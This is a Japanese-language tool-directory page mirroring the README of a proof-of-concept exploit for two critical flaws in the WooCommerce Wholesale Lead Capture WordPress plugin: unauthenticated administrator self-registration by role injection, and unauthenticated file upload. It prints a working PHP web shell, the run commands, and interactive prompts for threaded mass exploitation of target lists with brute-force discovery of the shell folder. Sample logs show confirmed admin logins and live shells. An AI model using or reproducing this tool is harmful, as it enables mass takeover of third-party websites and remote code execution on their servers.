Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-27542-CVE-2026-27540- — 未認証の権限昇格 | 未認証の任意ファイルアップロード | Kitploit
ツール/GitHubGitHub/nxploited/cve-2026-27542-cve-2026-27540-
特権昇格脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストレッドチーミング
GitHubnxploited/cve-2026-27542-cve-2026-27540-

CVE-2026-27542-CVE-2026-27540-

未認証の権限昇格 | 未認証の任意ファイルアップロード

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る
2276ヶ月前未レビュー

Typing SVG


🔴 脆弱性の概要

CVE-2026-27542 — 認証不要の権限昇格

フィールド詳細
CVE IDCVE-2026-27542
深刻度CRITICAL — CVSS v3.1 スコア: 9.8
ベクターCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
影響を受けるコンポーネントWordPress 用 WooCommerce Wholesale Lead Capture (WWLC) プラグイン
脆弱性の種類認証不要の権限昇格
必要な認証なし
CWECWE-269: 不適切な権限管理

説明:
WordPress 用 WooCommerce Wholesale Lead Capture プラグインは、既知の影響を受ける全バージョンにおいて、認証不要の権限昇格に対して脆弱です。この脆弱性は wwlc_create_user AJAX アクションハンドラ内に存在し、ユーザー登録リクエストを処理する際に、ユーザーが指定したロールフィールドのサニタイズや検証が不十分です。リモートの認証されていない攻撃者は、特別に細工した POST リクエストを送信し、wp_capabilities[administrator] を含む任意の WordPress 権限フィールドを、アカウント作成時にユーザーメタデータに直接注入することができます。これにより、攻撃者は正当なユーザーによる事前認証や操作を必要とせずに、WordPress 管理者として自己登録でき、影響を受ける WordPress インストールの完全な乗っ取りに至ります。


CVE-2026-27540 — 認証不要の任意ファイルアップロード

フィールド詳細
CVE IDCVE-2026-27540
深刻度CRITICAL — CVSS v3.1 スコア: 9.8
ベクターCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
影響を受けるコンポーネントWordPress 用 WooCommerce Wholesale Lead Capture (WWLC) プラグイン
脆弱性の種類認証不要の任意ファイルアップロード(リモートコード実行に繋がる)
必要な認証なし
CWECWE-434: 危険なタイプのファイルの無制限アップロード

説明:
WordPress 用 WooCommerce Wholesale Lead Capture プラグインは、既知の影響を受ける全バージョンにおいて、認証不要の任意ファイルアップロードに対して脆弱です。この脆弱性は wwlc_file_upload_handler AJAX アクションに存在し、このアクションは認証や nonce 検証の要件なしに登録されています。/wp-admin/admin-ajax.php に対して細工した multipart POST リクエストを送信することで、リモートの認証されていない攻撃者は、PHP Web シェルを含む任意のタイプのファイルを、サーバーの wp-content/uploads/ ディレクトリ配下の動的に生成された wwlc-temp-* サブディレクトリにアップロードできます。悪用に成功すると、Web プロセスユーザーアカウントとして動作する基盤となる Web サーバー上で、リモートコード実行 (RCE) に至ります。


🛠️ ツールの説明

これは、上記の 2 つの重大な脆弱性に対する概念実証 (PoC) エクスプロイトスクリプトであり、WooCommerce Wholesale Lead Capture プラグインを実行している WordPress インストールを対象としています。このツールは 2 つの独立した攻撃モードをサポートしています:

モード攻撃タイプ目的
モード 1認証不要の任意ファイルアップロード + ブルートフォースによるフォルダ発見PHP Web シェルをアップロードし、多層フォルダ推測によってその場所を特定する
モード 2登録による認証不要の権限昇格WordPress 管理者として自己登録し、管理者アクセスを検証する

📋 要件

システム要件

  • Python 3.8 以降
  • 対象へのインターネットアクセス
  • Linux / Windows / macOS

Python 依存関係

pip install requests urllib3 colorama

または requirements ファイルでインストール:

pip install -r requirements.txt

requirements.txt:

requests>=2.28.0
urllib3>=1.26.0
colorama>=0.4.6

🚀 インストール

# リポジトリをクローン
git clone https://github.com/Nxploited/CVE-2026-27542-CVE-2026-27540.git
cd CVE-2026-27542-CVE-2026-27540

# 依存関係をインストール
pip install -r requirements.txt

# ツールを実行
python3 CVE-2026-27542_CVE-2026-27540.py

⚙️ 使用方法

基本的な実行

python3 CVE-2026-27542_CVE-2026-27540.py

このツールは対話型のターミナルインターフェースを表示します。必要なすべてのパラメータがプロンプトで要求されます。


🗂️ 対象リストの形式

1 行に 1 つの対象 URL を記載したプレーンテキストファイル(例: list.txt)を作成します:

https://target1.com
https://target2.com
http://target3.com/wordpress

🔴 モード 1 — ファイルアップロード + フォルダブルートフォース

Select mode [1=Upload+Folder, 2=Registration+Admin]: 1
Targets list file (one URL per line) [list.txt]: list.txt
Threads (concurrent sites) [3]: 5
HTTP timeout (seconds) [10]: 10
Shell file path [shell.php]: shell.php
Shell signature (marker inside shell) [Nx_SHELL_SIGNATURE]: Nx_SHELL_SIGNATURE
Max pattern-based folder guesses per site [50000]: 50000
Max time-based folder guesses per site [50000]: 50000
Max random-hex folder guesses per site [100000]: 100000
Upload results file [scan_results/wwlc_uploads.txt]: scan_results/wwlc_uploads.txt
Found shells file [scan_results/wwlc_shells_found.txt]: scan_results/wwlc_shells_found.txt

シェルファイルの例 (shell.php):

<?php
// Nx_SHELL_SIGNATURE
if(isset($_GET['cmd'])){ system($_GET['cmd']); }
?>

注記: wwlc-temp-* フォルダは、PHP の uniqid('wwlc-temp-') を使用してプラグインによって動的に生成されます。このツールは、それを発見するために多層ブルートフォース戦略を使用します:

レイヤー戦略説明
0ディレクトリリスティングアップロードディレクトリが開放されている場合に一覧表示を試行
1パターンベース時刻由来および連番の数値推測
2時刻ベースの Hex観測された HTTP リクエストのタイムスタンプをシードとして使用
3ランダム Hex純粋なランダムな hex 文字列の推測

🟠 モード 2 — 登録 + ロール注入 + 管理者検証

Select mode [1=Upload+Folder, 2=Registration+Admin]: 2
Targets list file (one URL per line) [list.txt]: list.txt
Threads (concurrent sites) [3]: 5
HTTP timeout (seconds) [10]: 10
Base registration username (prefix) [Nx_admin]: Nx_admin
Base registration email [[email protected]]: [email protected]
Registration results file [scan_results/wwlc_register_results.txt]:
Admin hits file [scan_results/Admin_login.txt]:

このツールは以下の処理を行います:

  1. WWLC 登録フォームを発見し、有効な nonce を抽出します
  2. administrator ロールを注入する細工した登録ペイロードを送信します
  3. 作成した認証情報でログインを試行します
  4. 複数の WP 管理エンドポイントにわたって管理者パネルへのアクセスを検証します
  5. 確認された管理者ヒットを出力ファイルに保存します

📁 出力ファイル

ファイル説明
scan_results/wwlc_uploads.txtファイルアップロードが成功したすべてのサイト(モード 1)
scan_results/wwlc_shells_found.txtアクセスが確認された完全なシェル URL(モード 1)
scan_results/wwlc_register_results.txt認証情報付きのすべての登録試行結果(モード 2)
scan_results/Admin_login.txt認証情報付きで確認された管理者ログインヒット(モード 2)

サンプル出力(モード 2 — 管理者ヒット)

[INFO]    Mode2 | Target: https://target.com
[SUCCESS] https://target.com | nonce found on /wholesale-register/: a1b2c3d4e5
[INFO]    https://target.com | using discovered nonce
[SUCCESS] https://target.com | registration success for user=Nx_admin_x7k2
[SUCCESS] https://target.com | ADMIN login confirmed as Nx_admin_x7k2

サンプル出力(モード 1 — シェル発見)

[INFO]    Mode1 | Target: https://target.com
[INFO]    https://target.com | upload HTTP time: 0.847s
[SUCCESS] https://target.com | upload success file_name=shell_abc123.php
[INFO]    https://target.com | pattern brute-force (50003 guesses)
[SUCCESS] https://target.com | shell FOUND via pattern: https://target.com/wp-content/uploads/wwlc-temp-00000123/shell_abc123.php
[INFO]    https://target.com | folder scan stats: attempts=123, time=4.213s, rate=29.2 req/s

📡 連絡先 & 作者

作者: Nxploited (Khaled Alenazi)

 


⚠️ 法的免責事項

このツールは、教育目的および許可を得たセキュリティ研究の目的でのみ提供されます。

作者である Nxploited (Khaled Alenazi) および本プロジェクトへのすべての貢献者は、このツールの悪用、または明示的な書面による許可を得ていないシステムに対して本ソフトウェアを使用することによって生じるいかなる損害についても、容認、支援、または責任を負いません。

  • ✅ 許可される用途: 所有している、またはテストする明示的な書面による許可を得たシステムでの使用。
  • ❌ 禁止される用途: システム所有者からの事前の明示的な書面による許可なしに、いかなるシステムに対しても使用すること。

コンピュータシステムへの不正アクセスは違法であり、適用される法律に基づき処罰の対象となります。 これには、コンピュータ詐欺および濫用法 (CFAA)、コンピュータ濫用法 (CMA)、および世界各国の同等の法律が含まれますが、これらに限定されません。

このツールを使用することにより、お客様は自身の行動に対して単独で責任を負い、対象システムをテストする法的権限を有していることを確認したものとみなされます。

作者は、本ソフトウェアの使用または誤用から生じる直接的、間接的、偶発的、または結果的な損害について、いかなる責任も負いません。


ツールをダウンロード